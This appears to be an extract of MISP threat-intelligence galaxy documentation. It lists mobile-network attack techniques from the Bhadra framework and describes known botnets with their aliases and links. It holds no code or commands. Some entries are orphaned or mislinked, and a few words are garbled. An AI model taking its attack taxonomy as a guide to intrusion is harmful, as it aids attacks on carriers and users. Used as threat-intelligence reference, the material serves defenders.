<https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/>

## CamuBot

A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.

The tag is: *misp-galaxy:banker="CamuBot"*

CamuBot has relationships with:

- similar: *misp-galaxy:malpedia="CamuBot"* with *estimative-language:likelihood-probability="likely"*

## Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: *misp-galaxy:bhadra-framework="Attacks from UE"*

## SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: *misp-galaxy:bhadra-framework="SIM-based attacks"*

## Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: *misp-galaxy:bhadra-framework="Attacks from radio access network"*

## Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: *misp-galaxy:bhadra-framework="Attacks from other mobile network"*

## Attacks with access to transport network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: *misp-galaxy:bhadra-framework="Attacks with access to transport network"*

## Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious traffic into an operator's network.

The tag is: *misp-galaxy:bhadra-framework="Attacks from IP-based network"*

## Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

The tag is: *misp-galaxy:bhadra-framework="Insider attacks and human errors"*

## Infecting UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

The tag is: *misp-galaxy:bhadra-framework="Infecting UE hardware or software"*

## Infecting SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

The tag is: *misp-galaxy:bhadra-framework="Infecting SIM cards"*

## Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.

The tag is: *misp-galaxy:bhadra-framework="Spoofed radio network"*

## Infecting network nodes

Retaining the foothold gained on the target system through the initial access by infecting network nodes.

The tag is: *misp-galaxy:bhadra-framework="Infecting network nodes"*

## Covert channels

Retaining the foothold gained on the target system through the initial access via covert channels.

The tag is: *misp-galaxy:bhadra-framework="Covert channels"*

## Port scanning or sweeping

"Port scanning or sweeping" techniques to probe servers or hosts with open ports.

The tag is: *misp-galaxy:bhadra-framework="Port scanning or sweeping"*

## Perimeter mapping

"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.

The tag is: *misp-galaxy:bhadra-framework="Perimeter mapping"*

## Threat intelligence gathering

"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.

The tag is: *misp-galaxy:bhadra-framework="Threat intelligence gathering"*

## CN-specific scanning

"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).

The tag is: *misp-galaxy:bhadra-framework="CN-specific scanning"*

## Internal resource search

"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.

The tag is: *misp-galaxy:bhadra-framework="Internal resource search"*

## UE knocking

"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.

The tag is: *misp-galaxy:bhadra-framework="UE knocking"*

## Exploit roaming agreements

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators is dependent on a roaming agreement being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: *misp-galaxy:bhadra-framework="Exploit roaming agreements"*

## Abusing interworking functionalities

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally

The tag is: *misp-galaxy:bhadra-framework="Abusing interworking functionalities"*

## Exploit platform & service-specific vulnerabilities

Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: *misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"*

## SS7-based-attacks

Attacks abusing the SS7 protocol.

The tag is: *misp-galaxy:bhadra-framework="SS7-based-attacks"*

## Diameter-based attacks

Attacks abusing the Diameter protocol.

The tag is: *misp-galaxy:bhadra-framework="Diameter-based attacks"*

## GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: *misp-galaxy:bhadra-framework="GTP-based attacks"*

## DNS-based attacks

DNS based attacks.

The tag is: *misp-galaxy:bhadra-framework="DNS-based attacks"*

## Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: *misp-galaxy:bhadra-framework="Pre-AKA attacks"*

## Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: *misp-galaxy:bhadra-framework="Security audit camouflage"*

## Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator's network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an attacker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: *misp-galaxy:bhadra-framework="Blacklist evasion"*

## Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks.

The tag is: *misp-galaxy:bhadra-framework="Middlebox misconfiguration exploits"*

## Bypass Firewall

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass Firewall"*

## Bypass homerouting

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external

location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass homerouting"*

## Downgrading

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameterbased signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: *misp-galaxy:bhadra-framework="Downgrading"*

## Redirection

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: *misp-galaxy:bhadra-framework="Redirection"*

## UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE's side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: *misp-galaxy:bhadra-framework="UE Protection evasion"*

## Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: *misp-galaxy:bhadra-framework="Admin credentials"*

## User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case

The tag is: *misp-galaxy:bhadra-framework="User-specific identifiers"*

## User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: *misp-galaxy:bhadra-framework="User-specific data"*

## Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators' networks

The tag is: *misp-galaxy:bhadra-framework="Network-specific identifiers"*

## Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents

The tag is: *misp-galaxy:bhadra-framework="Network-specific data"*

## Location tracking

Attacker is able to track the location of the target end-user.

The tag is: *misp-galaxy:bhadra-framework="Location tracking"*

## **Calls eavesdropping**

Attacker is able to eavesdrop on calls.

The tag is: *misp-galaxy:bhadra-framework="Calls eavesdropping"*

## **SMS interception**

Attacker is able to intercept SMS messages.

The tag is: *misp-galaxy:bhadra-framework="SMS interception"*

## **Data interception**

Attacker is able to intercept or modify internet traffic.

The tag is: *misp-galaxy:bhadra-framework="Data interception"*

## **Billing frauds**

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

The tag is: *misp-galaxy:bhadra-framework="Billing frauds"*

## **DoS - network**

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.

The tag is: *misp-galaxy:bhadra-framework="DoS - network"*

## **DoS - user**

The attacker can cause denial of service to mobile users.

The tag is: *misp-galaxy:bhadra-framework="DoS - user"*

## **Identity-related attacks**

Identity-based attacks involve attack techniques using user and network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the

signaling attacks that use SS7 are also fall into this category. In other cases, identitybased attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: *misp-galaxy:bhadra-framework="Identity-related attacks"*

## Botnet

botnet galaxy.

Botnet is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

## ADB.miner

A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.

Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

The tag is: *misp-galaxy:botnet="ADB.miner"*

## Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: *misp-galaxy:botnet="Bagle"*

Bagle is also known as:

- Beagle
- Mitglieder
- Lodeight

Bagle has relationships with:

- similar: `misp-galaxy:malpedia="Bagle"` with `estimative-language:likelihood-probability="likely"`

Table 498. Table References

<a href="https://en.wikipedia.org/wiki/Bagle_(computer_worm)">https://en.wikipedia.org/wiki/Bagle_(computer_worm)</a>

## Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: `misp-galaxy:botnet="Marina Botnet"`

Marina Botnet is also known as:

- Damon Briant
- BOB.dc
- Cotmonger
- Hacktool.Spammer
- Kraken

Marina Botnet has relationships with:

- similar: `misp-galaxy:botnet="Kraken"` with `estimative-language:likelihood-probability="likely"`

## Torpig

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is

also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: *misp-galaxy:botnet="Torpig"*

Torpig is also known as:

- Sinowal
- Anserin

Torpig has relationships with:

## Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: *misp-galaxy:botnet="Storm"*

Storm is also known as:

- Nuwar
- Peacomm
- Zhelatin
- Dorf
- Ecard

Table 501. Table References

## Srizbi

Srizbi BotNet, considered one of the world's largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.

The tag is: `misp-galaxy:botnet="Srizbi"`

Srizbi is also known as:

- Cbeplay
- Exchanger

Table 506. Table References

Links
<a href="https://en.wikipedia.org/wiki/Srizbi_botnet">https://en.wikipedia.org/wiki/Srizbi_botnet</a>

## Lethic

The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 -

310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.

The tag is: *misp-galaxy:botnet="Lethic"*

Lethic has relationships with:

- similar: *misp-galaxy:malpedia="Lethic"* with *estimative-language:likelihood-probability="likely"*

## Salinity

Salinity is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Salinity was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Salinity may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Salinity have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Salinity is considered to be one of the most complex and formidable forms of malware to date.

The tag is: *misp-galaxy:botnet="Salinity"*

Salinity is also known as:

- Sector
- Kuku
- Salinity
- SalLoad

- Kookoo
- SaliCode
- Kukacka

Sality has relationships with:

- similar: `misp-galaxy:malpedia="Sality" with estimative-language:likelihood-probability="likely"`

Table 509. Table References

Links
<a href="https://en.wikipedia.org/wiki/Sality">https://en.wikipedia.org/wiki/Sality</a>

## Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: `misp-galaxy:botnet="Mariposa"`

Table 510. Table References

Links
<a href="https://en.wikipedia.org/wiki/Mariposa_botnet">https://en.wikipedia.org/wiki/Mariposa_botnet</a>

## Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

The tag is: `misp-galaxy:botnet="Conficker"`

Conficker is also known as:

- DownUp
- DownAndUp
- DownAdUp
- Kido

Conficker has relationships with:

- similar: `misp-galaxy:malpedia="Conficker"` with `estimative-language:likelihood-probability="likely"`

Table 511. Table References

Links
<a href="https://en.wikipedia.org/wiki/Conficker">https://en.wikipedia.org/wiki/Conficker</a>

## Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: `misp-galaxy:botnet="Waledac"`

Waledac is also known as:

- Waled
- Waledpak

Table 512. Table References

Links
<a href="https://en.wikipedia.org/wiki/Waledac_botnet">https://en.wikipedia.org/wiki/Waledac_botnet</a>

## Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: `misp-galaxy:botnet="Maazben"`

Table 513. Table References

Table 514. Table References

Links
-------

## Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: *misp-galaxy:botnet="Gheg"*

Gheg is also known as:

- Tofsee
- Mondera

Gheg has relationships with:

- similar: *misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"*

Table 515. Table References

<a href="https://en.wikipedia.org/wiki/Asprox_botnet">https://en.wikipedia.org/wiki/Asprox_botnet</a>

## Spamthru

Spam Thru represented an exponential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj\_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine's processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: *misp-galaxy:botnet="Spamthru"*

Spamthru is also known as:

- Spam-DComServ

## Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user's Google searches, and then

installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: *misp-galaxy:botnet="Gumblar"*

Table 520. Table References

Links
<a href="https://en.wikipedia.org/wiki/Gumblar">https://en.wikipedia.org/wiki/Gumblar</a>

## BredoLab

The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: *misp-galaxy:botnet="BredoLab"*

BredoLab is also known as:

- Oficla

BredoLab has relationships with:

- similar: *misp-galaxy:tool="Oficla"* with *estimative-language:likelihood-probability="likely"*

Table 521. Table References

<a href="https://en.wikipedia.org/wiki/Bredolab_botnet">https://en.wikipedia.org/wiki/Bredolab_botnet</a>

## Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world's largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world's 3rd largest botnet, responsible for 18% of worldwide spam traffic.

The tag is: *misp-galaxy:botnet="Grum"*

Grum is also known as:

- Tedroo
- Reddyb

Table 522. Table References

Links
<a href="https://en.wikipedia.org/wiki/Grum_botnet">https://en.wikipedia.org/wiki/Grum_botnet</a>

## Mega-D

The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.

The tag is: *misp-galaxy:botnet="Mega-D"*

Mega-D is also known as:

- Ozdok

Table 523. Table References

<a href="https://en.wikipedia.org/wiki/Mega-D_botnet">https://en.wikipedia.org/wiki/Mega-D_botnet</a>

## Kraken

The Kraken botnet was the world's largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.

The tag is: *misp-galaxy:botnet="Kraken"*

Kraken is also known as:

- Kracken

Kraken has relationships with:

- similar: *misp-galaxy:botnet="Marina Botnet"* with *estimative-language:likelihood-probability="likely"*

Table 524. Table References

The tag is: *misp-galaxy:botnet="LowSec"*

LowSec is also known as:

- LowSecurity
- FreeMoney
- Ring0.Tools

## TDL4

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSODs on some 32-bit Microsoft Windows systems. The update, MS10-015, triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: *misp-galaxy:botnet="TDL4"*

TDL4 is also known as:

- TDSS
- Alureon

TDL4 has relationships with:

- similar: *misp-galaxy:malpedia="Alureon"* with *estimative-language:likelihood-probability="likely"*

Table 527. Table References

Links
<a href="https://en.wikipedia.org/wiki/Alureon#TDL-4">https://en.wikipedia.org/wiki/Alureon#TDL-4</a>

## Zeus

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: *misp-galaxy:botnet="Zeus"*

Zeus is also known as:

- Zbot
- ZeuS
- PRG
- Wsnpoem
- Gorhax
- Kneber

Zeus has relationships with:

- similar: *misp-galaxy:tool="Zeus"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:banker="Zeus"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:malpedia="Zeus"* with estimative-language:likelihood-probability="likely"

The tag is: *misp-galaxy:botnet="Zer0n3t"*

Zer0n3t is also known as:

- Fib3r10g1c
- Zer0n3t
- Zer0Log1x

## Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated,

on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: *misp-galaxy:botnet="Chameleon"*

Table 531. Table References

<a href="https://en.wikipedia.org/wiki/Chameleon_botnet">https://en.wikipedia.org/wiki/Chameleon_botnet</a>

## Mirai

Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:botnet="Mirai"*

Mirai has relationships with:

- similar: *misp-galaxy:tool="Mirai"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Mirai (ELF)"* with *estimative-language:likelihood-probability="likely"*

## XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: *misp-galaxy:botnet="XorDDoS"*

Table 533. Table References

Links
<a href="https://en.wikipedia.org/wiki/Xor_DDoS">https://en.wikipedia.org/wiki/Xor_DDoS</a>

## Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:botnet="Satori"*

Satori is also known as:

- Okiru

Satori has relationships with:

- similar: *misp-galaxy:tool="Satori"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Satori"* with *estimative-language:likelihood-probability="likely"*

BetaBot has relationships with:

- similar: *misp-galaxy:malpedia="BetaBot"* with *estimative-language:likelihood-probability="likely"*

## Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in

the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existence was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: *misp-galaxy:botnet="Hajime"*

Hajime has relationships with:

- similar: *misp-galaxy:malpedia="Hajime"* with *estimative-language:likelihood-probability="likely"*

## Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: *misp-galaxy:botnet="Muhstik"*

## Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to */etc/init.d/*, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By

placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.

The tag is: *misp-galaxy:botnet="Hide and Seek"*

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

Hide and Seek has relationships with:

- similar: *misp-galaxy:malpedia="Hide and Seek"* with *estimative-language:likelihood-probability="likely"*

## Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we're calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted

principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: *misp-galaxy:botnet="Chalubo"*

## AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: *misp-galaxy:botnet="AESDDoS"*

# Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

Branded Vulnerability is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

## authors

Unknown

## Meltdown

